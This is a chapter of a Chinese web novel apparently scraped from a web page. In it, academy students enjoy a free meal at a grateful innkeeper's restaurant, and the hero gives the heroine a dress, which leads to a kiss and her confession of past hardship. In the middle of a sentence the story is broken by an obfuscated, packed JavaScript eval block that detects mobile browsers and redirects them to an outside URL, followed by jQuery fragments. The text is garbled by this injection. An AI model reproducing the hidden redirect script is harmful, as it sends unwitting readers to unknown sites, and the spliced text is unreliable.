76.第76章

作品:《她在国子监混得风生水起

    街上人流如织,除去祸害后,陆陆续续有好些姑娘家在街口探着脑袋,面上皆是解脱与畅快之意。


    纪珈芙冲在前头抻着脖子看,两侧的酒楼有打着蜀菜招牌的,亦有说各地菜系都有的。虽说几个少年的伤都好得差不多了,但仍要遵循医嘱,是以,纪珈芙最终在右侧的一家叫‘苗记酒家’的酒楼门口停下。


    又是一日晴朗,门前迎客的伙计穿着灰色短衫,配着比甲,干净又利落,他脸颊有些泛红,气息亦不太稳,正攥着粗布擦额上的汗。


    他抬眸恰好与众人的视线对上,眨了眨眼,伙计咧着嘴笑道:“贵客要用些什么吃食?快里边儿请——”


    苗记酒家分上中下三层,一楼大堂是散客,可拼桌亦可独坐;二楼是些没有门的雅间,能清晰地听见里面食客的交谈之声;最顶层则是封闭性的雅间,东西南北各设两道门,一层共八间。


    门上还挂着花笺,其上用娟秀小字写着雅间的名称。


    伙计领着一行人径自上了三楼,推开了东边左侧的‘山憩’,又转身来对众人开口:“诸位贵客先进来坐着,这会儿楼里的客人有些多,后厨手忙脚乱的,小的这就去拿单子,贵客们先将菜点上。”


    说罢,就掩着门退了出去。


    这雅间隔音极好,光是掩着门,还未彻底关紧,就已听不见堂下的嘈杂声了,陶霁暗叹这苗记酒家应当花了不少心思来经营。


    纪珈芙茫然:“他怎地将咱们带来这儿了?”


    “也许......”柯浔言沉吟片刻,答道:“咱们方才在菜市口露了脸,这申昌郡应当有许多人能认出咱们,这位小哥气喘吁吁,也许是从菜市口赶回来的也说不定。”


    纪珈芙恍然:“所以,咱们这是受到特殊待遇了?”


    外面匆匆传来脚步声,有个穿松青色锦袍、做掌柜模样打扮的中年男子屈指敲开了半指宽的门缝,站在门口问:“贵客,我能进来么?”


    葛修清了清嗓子,喊:“请进——”


    那人噙着笑进来,将点菜的单子递给离得最近的柯浔言,解释道:“方才楼里的伙计说有贵客亲临,我还不信,只好亲自上来一探究竟。”


    “我是这苗记酒家的掌柜,诸位的事迹早已传遍大街小巷,我家东家说,若是贵客赏脸进楼里吃饭,楼里不收贵客们的饭钱,贵客们,要不现在点菜?”


    苗记酒家......


    林逸亭脑中响起那卖头油的货郎说的话来。


    “这事儿奇怪,另一位姓苗的老爷爱女心切,那几日听苗姑娘说频频梦魇,便疑心自家女儿是不是被贼人盯上了,情急之下竟将女儿嫁给自家外甥......”


    他一抚掌,问:“敢问掌柜,你们东家,是那位将女儿嫁给外甥的苗老爷么?”


    掌柜的笑眯眯点头:“是,说来也是喜事一桩,姑娘原是不愿嫁给表公子的,但二人成婚后感情愈发好,这不,昨日刚派了人来告诉东家喜讯,说是姑娘已有孕两个月喽!”


    他仿佛打开了话闸子般:“姑娘虽说侥幸没被掳走,但梦魇那几日是实打实地不对劲,咱们姑娘如今想起来都还后怕呢,东家对这事儿也是在意得很,如今听说贵客们年纪轻轻就有如此胆识,东家说了,若不是他生意忙,走不开,定要日日守在门口,等着贵客们登门。”


    “咱们姑娘可是这城里一等一的才女哩!门口的花笺都是她想的名字,也是她亲自提笔,咱们姑娘也说了,贵客们端了贼人的老巢,处置了他们,于她便是有恩......”


    众人原本对此事没多大感觉,眼下被掌柜这么一提,得知苗老爷与那位出嫁的苗姑娘如此感激,倒生出些许羞赧来。


    柯浔言将点菜单子递给陆廷弈,指着他对掌柜道:“这位才是大功臣,掌柜的不如去问问他爱吃些什么?”


    陆廷弈险些就要将头埋到桌下去了,掌柜的见他生得清隽又斯文,眼睛一亮,捧着一壶茶走去陆廷弈身边,动作熟稔地替他斟满杯盏。


    他问:“小郎君平日里都爱吃什么?咱们这儿什么都有,今日的翘嘴新鲜,后厨婶子揉搓的糕点也鲜香甜软,小郎君想吃什么?”


    “......”


    陆廷弈正欲开口,又听掌柜问:“不知小郎君可有定亲?”


    少年被吓得从椅子上‘蹭’地一下站起来,连连摆手:“我、我吃什么都行......掌柜的在、在说什么定不定亲的......”


    众人亦是没想到掌柜会突然问这么一句,却忽地见掌柜笑着摇头:“小郎君莫要误会,你们从上京远道而来,自是个个儿出身矜贵,申昌郡虽说瞧着是热闹,这城里倒还找不出个家世匹配的女子来。”


    “咱们这儿有个习俗,从前是用来迎那些大善人的。”


    “申昌郡以前还有些穷得揭不开锅的人家,那些善人乐善好施,像咱们这苗记酒家,就会喊上几个姑娘家编织彩绦送给善人带走,以示感谢,因着那些善人大多都已成家有了妻室,或是已定亲,在这方面就没那么讲究......”


    “当然也有些善人是还未成家的,如这般情况,姑娘们则是将彩绦里的红线抽去,断去女子示爱的那根红丝,只留剩下的丝线编织。”


    掌柜摸一把下巴上的胡须,道:“小郎君若是没定亲,自然用不上那根红线了。”


    陆廷弈听明白后,神色稍松,又忽地绷紧嘴角,问:“那......只有我有么?”


    他飞快地抬眸看向其他人,明显不想独揽这份功劳,掌柜活了半辈子,人精似得,自然知道他在想什么。


    掌柜道:“诸位都是大功臣,你们瞧着关系极好,自然是每人都得一条以作纪念,听说诸位还住在驿站,驿站虽大,那屋子到底是简陋了些,不如住进苗记客栈?”


    他如此热情,众人心知这顿饭结束,钱袋里的银子未必能给得出去,是以,便也不想再占苗家的便宜,都纷纷出言婉拒。


    掌柜也不好逼迫他们,只得点点头,笑道:“那便请小郎君点菜吧,那些彩绦编织好后,我会派人送去驿站的。”


    陆廷弈只好匆匆扫了眼点菜单子,想着同伴的口味点了些菜。


    约莫两刻钟的时间,菜肴总算是上齐,纪珈芙率先举起酒杯:“来,让我们一起敬陆大侠!”


    陆廷弈被说得不好意思,连喝酒时都呛了嗓子。


    夹了道肉丸塞进嘴里,傅书芩偷偷瞄了几眼少年们,不知想到什么,竟‘扑哧’一声笑出来。


    “傅书芩,你笑什么呢?”葛修吃得满面通红。


    见众人都看向自己,傅书芩掩唇,小声开口:“没什么,就是想到话本上说的,什么蜀山四侠,江南四侠的......”


    “你们四个......”傅书芩耸着肩:“不如叫国子监四侠......”


    柯浔言挑眉:“那葛修呢?”


    葛修?


    傅书芩颇有些嫌弃地看一眼葛修,嘀咕道:“他那夜睡得那样死,你们都把咱们几个救回来了,他还晕着,话本里有鬼见愁,我看......不如叫他葛见愁!”


    她补充道:“姓葛,让人一见他就发愁!”


    雅间默了一瞬,下一刻,葛修刚喝进嘴里的酒‘噗’地一声吐在自己的衣裳上,他没好气地瞪一眼傅书芩,嚷嚷道:“我那是被迷药迷晕了!否则以我的身手,那俩人定要求爷爷告奶奶的被我一通好打!”


    林逸亭被逗得忍俊不禁:“若你在场......是能拖延些时间。”


    “因为,”他朗声笑道:“你皮实得很!”


    “好啊!”


    葛修作势要去打他:“你敢笑话我,小心我夜里请老神仙托梦,叫他不准某些人去你梦里!”


    林逸亭登时红了脸,偷偷去瞄坐在对面的庄之茉,不料庄之茉比他更不自在,一张小脸都快埋进面前的瓷碗里。


    “行了行了,”谢栯出言打断:“再不吃,菜都凉了,咱们就当留在此地养伤,不如好好想想,接下来去做什么?”


    林逸亭轻咳一声,收回落在庄之茉身上的视线,附和道:“就是,先吃,先吃。”


    用过饭后,掌柜果然等在楼下,亲自守着柜台,不愿收众人的银钱。头一回吃不要钱的东西,众人觉得不好意思,却也盛情难却,只得顶着掌柜与伙计异常热情的目光出了苗记酒家的门。


    回了驿站后,谢栯发现大理寺的官员已收拾好了包袱。


    见世子爷看过来,那位司直连忙上前:“世子,此案已结,我们没有理由再多待,世子可有话要带回上京?”


    先前那封寄去上京的信,谢栯的确有夸大的嫌疑,他那时极恨陶霁被他们下了迷药掳走,是以,掺了些报复的心思才将信写下。


    如今陶霁还好端端的,谢栯忆起自家那个将规矩挂在嘴边的爹和事事做得妥帖的母亲......


    “你若见到我爹,”谢栯开口:“告诉他,我没事,等着我回去再气他。”


    他不愿父母在之后的日子里担惊受怕。


    司直听清最后那句话,面色一僵,半晌,道:“明日一早出发,那便先祝世子与同伴路途顺利。”


    隔日,大夫又登门替少年们看伤势,许是沾了酒的缘故,林逸亭腹下的伤口有些发痒,柯浔言的背后亦是。


    接下来的日子里,少年们还真就像模像样养起伤来。


    谢栯倒是无事,是以,他便借着这个机会与陶霁出门闲逛。


    中途还带回来一个消息。


    卫家被抄后,卫老爷不见踪影,众人本以为他被谁带走,不曾想,衙役最后一次去卫家时,竟在祠堂后面发现了卫老爷的尸体。


    他手里抱着卫大奶奶的牌位,一条白绫悬在祠堂后面的古树上,自缢而亡。


    消息带回来时,众人都有些唏嘘,从卫晋的反应来看,他与提花娘子勾搭在一处时,卫老爷是不知情的。


    卫老爷风光了大半辈子,晚年落得如此下场,到底是被卫晋所连累。可想到自己的遭遇,众人心里的这份同情也很快就被冲淡了。


    ......


    历经数日,散去心中的恐慌后,谢栯又找借口与陶霁出了驿站。


    芽探头,蕊含娇。长街行人终不似他们初到时那般冷漠,不过短短半月,街铺的婶子都已认识了谢栯与陶霁,见二人从门前经过,皆是噙着笑打上几句招呼。


    谢栯将陶霁带到了一家织造铺子门前。


    陶霁:“......不是说要去听戏,怎么来这里了?”


    谢栯却一反常态柔了眸色,轻声道:“进去看看。”


    说罢就掏出一把钥匙来,将门给打开了。


    陶霁不知他葫芦里卖的什么药,只得抬起脚步迈过眼前的门槛。进到铺子里,才发现这里面别有洞天。站在外面瞧着不大,里面却还分了上下两层。


    铺子里眼下无人,在她面前,挂了套极其晃眼又精致的衣裙。


    是条碧水青色织金云锦烟罗裙。裙摆轻扬,裙边用金丝绣着细腻又生动的玉兰花图案,再往上看,裙面铺了一圈彩绣蝴蝶。腰间缀以珍珠流苏,外面绕着一圈镶玉锦带。衣裙不是上京流行的款式,这种繁缛的系带方式,陶霁在此地的女子身上见过。


    “陶陶。”身后传来熟悉嗓音。


    这织造铺子里静得出奇,静得陶霁仿佛能听见年轻人从胸腔传出来的跳动声。


    他问:“好看么?”


    陶霁缓缓转身,看向神色认真的谢栯,她开口:“这条裙子......”


    谢栯牵着她往前走,自顾道:“你试试。”


    说罢,他将衣裙取下来,笑道:“去楼上,这家铺子今日不会有其他人。”


    衣裙被塞进陶霁手里,云锦的柔软从她指尖滑过,她只好抱着衣裙往楼上走。楼上除了几个放布匹的房间,只剩拐角处有间关着门的房间。


    她轻轻将门推开,发现屋内的摆设应有尽有,既摆了彩绣屏风,西面墙壁前又有半人高的妆台,以及一面铜镜。屋子正中央,还有供人休息的桌椅及喝茶用的杯盏。


    陶霁心中了然,此地是织造铺子,方才路过其他房间时,她隐隐看见几套衣裙,想来这铺子也单卖成衣。


    她所在的这间,应当是供客人换衣裳的地方。


    垂眸看了一眼手上的衣裙,陶霁无声笑了笑,没说话,将门掩紧后,就拿着衣裙往屏风后去了。


    少女褪下身上的锦裙,头发被尽数拨到身前,露出细腻雪白的后背来。


    陶霁将衣裙往自己身上套,可绕在胸前的带子仿佛怎么也绕不完,腰间的几根细带更是歪扭去了一边。


    下一刻,陶霁停了动作,她发现她穿不好。


    上京的衣裙款式简单,陶家替她裁制的衣裳最多只用在腰间打两个结,胸前的带子也没有长到拖地,方才手忙脚乱间,她还将带子绕在后面缠死了,摸着像是打了个死结。


    陶霁:“......”


    眼下脱也脱不得,又不能用匕首将裙子划烂。


    她心底生出一股恼意,下意识喊道:“谢栯!”


    谢栯正在楼下慢条斯理地喝着茶,忽地听见楼上传来陶霁唤他的声音,语气听着还有些不对劲,世子爷心中一惊,连忙放下杯盏往楼上赶。


    循声找到陶霁所在的房间,谢栯试探开口:“陶陶?”


    里面默了一瞬,才传出声音。


    “你......进来。”


    谢栯以为她换好了,想也没想就推开了门,岂料入目之处没有陶霁的身影,反倒是屏风后有动静,他反手将门关紧,盯着那扇屏风,声音很轻:“陶陶,你换好了么?怎么不出来?”


    莫非是害羞了?


    屏风后的身影动了动,也许是难以启齿,传出来的声音很小。


    她道:“你过来。”


    谢栯只得往屏风处走,因着是架彩绣屏风,隔得近了才稍微能看清一些,见陶霁一动不动,他问:“怎么了?”


    屏风后,陶霁闭了闭眼,只得认命般开口:“谢栯,你叫人做这条裙子的时候,有没有想过,我一个人根本穿不好?”


    谢栯:“......什么意思?”


    陶霁:“我......我将绳子打了个死结,勒得太紧了,在背后......”


    “谢栯,你会穿裙子么?”


    咀嚼着她这句话的意思,谢栯脑中轰的一声炸开,如晚霞般的绯色从耳尖爬进了衣襟里。


    他小声道:“我是男子,如何会穿裙子......”


    隔着一扇屏风,陶霁问出问题:“这条裙子用的可是云锦?你什么时候背着我开始的?腰带上的玉和这些珍珠是真的么?”


    谢栯呆了呆,下意识开口:“是,半个月前,真的。”


    “......”


    陶霁深吸一口气,大概能猜出他花了多少银钱来做这条裙子,半月前......心意实在难得。


    良久,她的声音终于再透过屏风传了出去。


    “谢栯,进来吧,替我穿好这条裙子。”


    谢栯呼吸陡然变得有些重,他方才上楼时想过其他可能,就是没有想到,陶霁还没换好裙子。


    他缓缓绕去屏风后面,就见那条精心裁制的织金云锦烟罗裙七歪八扭地挂在她的身上,满头乌发被拨去胸前,露出白皙又圆润的肩,以及......


    线条极其流畅的背。


    房间里霎时只有二人的呼吸声。


    谢栯垂下眼眸,盯着绣满玉兰的裙摆,又渐渐控制不住视线往上移,却在窥见大片蝴蝶后又猛地将目光移至地面。


    他一步一步靠近陶霁身后,直到二人之间的距离已极近。


    手指不知何时变得有些凉,少年颤着指尖拉起那根藕荷色细绳,不自觉在她的背上刮了一圈,指尖下的身子亦颤了颤......


    谢栯垂眼,动作极缓地去解那个死结。


    每次的呼吸对彼此都是一种煎熬,不知过了多久,谢栯终于解开了手中的死结,他手一松,岂料陶霁不设防,遮挡后背的料子猛地往下一坠。


    即便谢栯反应极快地闭上眼睛,却还是看见了她后腰上的那根细带。


    陶霁匆匆将裙子往上提了提,待胸口的跳动平缓了些,她才开口:“......这带子,要绕到胸前来系。”


    谢栯清楚地知道不该在此刻对她起什么欲./念,可在上京偷偷看过的那些话本里的描述与明晃晃的图,此时却异常清晰地出现他脑子里。


    不知过了多久,陶霁才听到身后响起一声极低的‘嗯’。


    谢栯弯腰,重新捡起那根藕荷色的带子。


    正准备闭上眼睛往她身前绕去,忽地瞥见了几道被藏在料子下的疤痕,因着被遮挡住,只堪堪露了一角出来。


    他眸色一暗,冰凉的指尖将衣料往下一勾,直接贴上那些伤疤。


    少年声音很低:“陶陶,这些是怎么回事?”


    陶霁身子一僵,没说话。


    谢栯用指尖抚着那些疤痕,其中一条的触感最突兀,仿佛当时这条疤痕极其狰狞,伤得极重。


    陶霁不由自主微微弓起身子,又将衣裙往上提,不想叫谢栯再触及那些疤痕。


    谢栯见她逃避,回过神来,重新将眼睛闭上,将人圈在怀里,用藕荷色带子在她胸前足足饶了七八圈,最后绕到背后,打了个不那么漂亮的结。


    胸前的带子固定好后,陶霁便能自己动手去寻腰间的几根细带。


    见她能自己穿了,谢栯很自觉退了出


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15180307|162058||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    去。


    过了一会儿,彻底换好裙子的少女从屏风后走出来,看向坐在圆桌旁的谢栯。


    见他垂眸不知在想什么,她抿了抿唇,迈着轻浅的脚步靠近。


    “谢栯,”少女清冽的声音唤回了谢栯的思绪。


    他抬眸怔怔看着她,她笑道:“好看么?”


    少年眸色亮得出奇,赞道:“极美。”


    陶霁将手摊开,低头打量片刻,想缓解一下气氛,调侃:“这裙子还真复......”


    后面的话被堵住。


    少年面上瞧不出什么情绪,倏地起身揽住她的腰,一手拖着她的后脑,重重地向那张红唇吻了下去。


    与金光寺的吻不同,与后来的几次旖旎也不一样。


    这次的吻,极具侵略性。


    谢栯比她高出一个头,她只能被迫将脸扬起,好来回应唇间的炙热。


    少年掀眸看了一眼她身后,蓦地掐着腰将人抱起,往妆台上一放,继而抵进她的腿间,牵着她的手搭上自己的腰,好叫她扶稳。


    中间陶霁有些喘不过气,谢栯便松开了她,密密麻麻的吻仍落在她的唇角,见她呼吸顺畅些了,又重新覆了上去。


    唇齿间溢出散乱的呼吸,谢栯不断勾着她的唇舌缠绵,他攻势迅猛,亲得她的上半身不自觉往后仰,却又在双唇即将分开时,被他掐紧腰,一把捞了回来。


    屋内落针可闻,一时只剩衣裳摩挲与唇间的湿润之声。


    不知过去了多久,谢栯才放开陶霁,让她仰着头,大口呼吸。


    重新俯身抱住她,谢栯垂眸盯着铜镜里的自己,声音很闷:“你不知道,那天晚上,我发现你不见了,我心里有多害怕,我从来没有这么害怕过......”


    陶霁一怔,呼吸也一停。


    又听他道:“放火时,我对他们说,要死一起死,当时竟也想着,若逃不出去,和你死在一起也挺好。”


    “胡说什么?”陶霁从他怀里挣脱出来,拧眉:“我们不是还好好的?”


    谢栯低头盯着她,手指抚上她的脸颊,轻声开口:“他们当时蒙着我的眼睛,叫我认出你......”


    他转眸往她的鬓角看,指尖也探了进去。


    “上次你醉酒,我就发现了,你这里有道不明显的疤。”


    陶霁将脸撇向一边,却被他掐着下巴强硬掰了回来。


    他俯身轻吻那道疤痕,再与她对视时,眸底的情./欲被心疼代替。


    他眼眶一红:“陶陶,告诉我,你在晋州到底受了多少苦?”


    陶霁又沉默下来。


    她是不想提起的。


    可除夕夜,蔺谦说过的话浮现在耳旁,他说——


    “师傅不是说过,亦师亦父,我也算得上你半个长辈,你不愿意亲近陶大人,若是像今日这般想娘,小翎家,或是将军府,你自随便来。”


    “我们都能成为你亲近之人。”


    一路走来,她早已不是那个孤身在小村庄苟且偷生的孤女了,她有朋友,有同伴,有师傅,有相爱之人。


    陶霁低着头,忽地抓紧谢栯胸前的衣襟,将脸埋进了他的胸膛里。


    下一刻,谢栯听见底下传来极轻的呜咽声,接着,这道声音慢慢放大,变成抽泣,变成溃不成军的嚎啕大哭。


    谢栯慌了神,他是见过陶霁红过眼睛,可陶霁在他面前一直是坚韧果敢的,他从未听她哭过,这声音叫他心脏跟着泛起尖锐的疼......


    也许是自己的哪句话触及到了她的疼痛,谢栯抱紧陶霁,伸手在她背后一下下拍着。


    不知过了多久,陶霁将头抬起,鼻尖与眼眶通红,看得谢栯心中一紧。


    平复好情绪后,陶霁尽量让自己平静开口,却还带着浓浓的鼻音:“我在晋州时,吃不饱饭都是常态,野草,树根,我都吃过,这些都还能忍......”


    她顿了顿,忽地道:“谢栯,我杀过人。”


    她抬眸看向谢栯,窥见他眼中的惊愕,她开口:“那种境遇下,还有人对我存有妄想,蔻娘早就死了,我为了自保,不得不将那些人骗进来杀了。”


    陶霁抓着谢栯的手往后腰上放:“这里的疤痕,是与那些人搏命时留下的。”


    她转而又摸上鬓角里的疤:“若不是我躲得快,如今我就只剩一只眼睛了。”


    说到这里,她侥幸一笑:“幸好蔻娘死前替人捣了不少草药,我就靠着那些草药治伤,就这样过来了。”


    终于将此事说出,陶霁松了口气。


    谢栯张了张唇,手不自觉握紧,不知该说些什么,良久,才低低骂道:“畜牲。”


    他闭眼压下胸腔里那股怒气,俯身抱住她,嗡着声音道:“那些人本就该死,是不是你杀的,在我看来不重要,若你非要说自己杀了人,我不也杀了么?”


    “陶陶,以后我做你的依仗。”他忽地怀念起之前说过的一句话来:“那时在国子监,我说日后你跟着我吃香的喝辣的,在整个上京,你能横着走,这话不是假的。”


    他将脸抬起,神情认真:“我再说一遍,有我在,日后你在上京,别人休想再欺负你,若有那等不长眼睛的,你打了便是,我替你兜底。”


    陶霁被他的神情逗笑,勾起唇角道:“那我也收回那句话。”


    谢栯眨眨眼:“哪句?”


    陶霁贴近他耳边,轻声开口:“肩不能扛手不能提的少爷,也能与我相提并论么?”


    说完她擦了擦眼角残留的泪水,笑道:“这裙子很好看,我很喜欢。”


    “只是以后不要花这么多银子了,你不知道,我方才穿不上的时候,想过用匕首划开得了,但又想着这裙子是你费了心思的,我舍不得,这才叫你进来......”


    少女罕见地红了脸,搂着谢栯的腰,将额头抵上他的胸膛,悬在半空的腿有一下没一下地晃着。


    谢栯忆起二人在国子监初见时的交锋,也不由低声一笑,道:“若是早知我要栽在你身上,那时候就不得罪你了。”


    陶霁抱住谢栯,声音从底下传来,一路飘进谢栯耳朵里。


    “那......现在补偿,倒也还来得及。”


    谢栯挑眉:“你要我怎么补偿?”


    她松开他的腰身,转而去勾他的脖子,再次将唇送了过去,声音从唇间漏出。


    “先亲会儿再说。”


    .......


    二人是晌午出的驿站,再从织造铺子出来,竟已是暮色时分。


    谢栯的嘴角一路就没下来过,见陶霁穿上这条裙子后走路都有些不自在,他清了清嗓子,一脸诚恳道:“我下次定做条简单些的裙子。”


    陶霁担心踩到裙角,听他如此说,不由瞪他一眼,动了动有些红肿的唇角。


    正想开口说话,忽地喉间生起痒意,她只好停下脚步,轻咳起来。


    谢栯脸色一变,连忙上前:“是迷药的副作用?”


    “不对啊,”他拧着眉:“葛修也中了迷药,他怎地没有出现咳嗽的症状?”


    “不行......”


    他神情变得严肃:“现在就回驿站,找个大夫替你瞧瞧。”


    说罢,就拉着陶霁往驿站的方向赶。


    驿站里,其他人正围在前院下棋,见谢栯拉着陶霁回来,纪珈芙一呆,问:“陶陶,你今日出去是穿的这身衣裳么?”


    陶霁脸一红,将手挣脱开来,解释道:“我......我的裙子被刮了个洞,所以......”


    她难得这般羞赧,众人心知她在说谎,却也不打算戳破她。


    庄之茉挑眉:“这裙子很衬你,眼光不错。”


    这句‘眼光不错’,也不知是说给他们二人之中的谁听的。


    谢栯轻咳一声:“她最近总咳嗽,大夫过来还要些时间,纪珈芙,你能不能先替她把把脉?”


    纪珈芙遂将手搭上陶霁的手腕,凝神片刻,点点头:“脉象是有些虚,陶陶穿得向来不多,瞧着像是染了风寒。”


    有了这句话,谢栯心下稍松,却还是等着大夫过来,直到大夫也说是风寒,谢栯这才彻底放下心来。


    大夫走后,谢栯一转身,就见几个少年神色怪异地盯着他看,姑娘们不知何时往后院去了。


    葛修拈酸:“世子爷日后定是惧内的人。”


    柯浔言微笑:“可曾听过‘关心则乱’四个字?”


    陆廷弈竟也大胆起来:“真令人羡慕呢......”


    林逸亭做出总结:“世子,我们从未发现过你有如此天赋的一面,世子不如教教我,如何讨心上人的欢心?”


    谢栯:“......”


    少年没好气瞪他们一眼,笑骂一声:“滚!”